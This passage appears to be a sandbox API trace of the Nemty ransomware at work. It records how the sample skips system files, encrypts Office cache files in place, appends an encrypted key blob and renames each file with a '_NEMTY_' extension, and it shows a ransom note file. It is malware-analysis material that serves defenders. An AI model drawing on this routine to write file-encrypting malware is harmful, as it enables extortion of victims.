RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6343fe8 [0047.657] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0047.658] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=881152) returned 1 [0047.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0047.658] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.658] ReadFile (in: hFile=0x3cc, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653eea4*=0x19000, lpOverlapped=0x0) returned 1 [0047.667] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.667] WriteFile (in: hFile=0x3cc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653ee9c*=0x19000, lpOverlapped=0x0) returned 1 [0047.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.667] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=881152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7200 [0047.667] WriteFile (in: hFile=0x3cc, lpBuffer=0x63401e0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x63401e0*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0047.669] CloseHandle (hObject=0x3cc) returned 1 [0047.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c8 [0047.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6344160 [0047.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344218 [0047.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344160 | out: hHeap=0x4f90000) returned 1 [0047.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.683] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi._nemty_kgobjgd_")) returned 1 [0047.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344218 | out: hHeap=0x4f90000) returned 1 [0047.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0047.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0047.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0047.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340128 | out: hHeap=0x4f90000) returned 1 [0047.691] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0047.691] lstrcmpiW (lpString1="Proof.xml", lpString2=".") returned 1 [0047.691] lstrcmpiW (lpString1="Proof.xml", lpString2="..") returned 1 [0047.691] lstrcmpiW (lpString1="Proof.xml", lpString2="...") returned 1 [0047.691] lstrcmpiW (lpString1="Proof.xml", lpString2="windows") returned -1 [0047.691] lstrcmpiW (lpString1="Proof.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="rsa") returned -1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="NTDETECT.COM") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="ntldr") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="MSDOS.SYS") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="IO.SYS") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="boot.ini") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="boot.ini") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="ntuser.dat") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="desktop.ini") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="CONFIG.SYS") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="RECYCLER") returned -1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="bootmgr") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="programdata") returned 1 [0047.692] lstrcmpiW (lpString1="Proof.xml", lpString2="appdata") returned 1 [0047.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340128 [0047.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942e8 [0047.693] Sleep (dwMilliseconds=0x5) [0047.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd022b9b0, dwHighDateTime=0x1d561e7)) [0047.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd022b9b0, dwHighDateTime=0x1d561e7)) [0047.703] GetLastError () returned 0x0 [0047.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.703] GetLastError () returned 0x0 [0047.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.703] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0047.703] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0047.703] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0047.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0047.703] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653ec5c | out: pszString="9IUcsQJbBCm1Oqdy4uD8Kl+xUtrJAB5ex8ynfkGGLK1xu4s4iBQL8c9rfHvbZcol\r\nYazLri+dZl2uuIRqM+wSQsDi7lPb3dFrSEe1eD90W4JzibphmK9ShbpVKbOPN2Xr\r\na4nvVFzQ9ahOOWnCj/yKAEWQOh32CfMn5ZyHBNj2WPoQh4w1uuEzCYnODjzQCW0q\r\nOOo5u6WP5Qiand+JKZYc09dgfr9eKrGf8KHd+aduHTG/gjgHNo2YaaUZ2YUMyroe\r\n6WIf8pbq05LNug5/Zqz4qY17hntnDBjwE17xzHf629kJuiQwRnbJF2ei+GEesRln\r\nJil+cwIqm0ZudJJ3j2qkhg==\r\n", pcchString=0x653ec5c) returned 1 [0047.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340350 [0047.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0047.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0047.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6343fe8 [0047.703] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0047.704] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=1457) returned 1 [0047.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5b0) returned 0x4f9f4a0 [0047.704] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.704] ReadFile (in: hFile=0x3cc, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x5b0, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653eea4*=0x5b0, lpOverlapped=0x0) returned 1 [0047.705] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.705] WriteFile (in: hFile=0x3cc, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653ee9c*=0x5b0, lpOverlapped=0x0) returned 1 [0047.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0047.705] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=1457, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0047.706] WriteFile (in: hFile=0x3cc, lpBuffer=0x63401e0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x63401e0*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0047.706] CloseHandle (hObject=0x3cc) returned 1 [0047.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c8 [0047.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6344160 [0047.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344218 [0047.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344160 | out: hHeap=0x4f90000) returned 1 [0047.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.706] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml._nemty_kgobjgd_")) returned 1 [0047.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344218 | out: hHeap=0x4f90000) returned 1 [0047.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0047.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0047.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0047.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.707] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0193430, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0193430, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0193430, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.707] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.708] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0047.708] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0047.708] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0047.708] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0047.708] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0047.708] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0047.708] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0047.708] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0047.708] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0047.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0047.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0047.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f942e8 [0047.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340128 | out: hHeap=0x4f90000) returned 1 [0047.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.709] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0193430, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0193430, 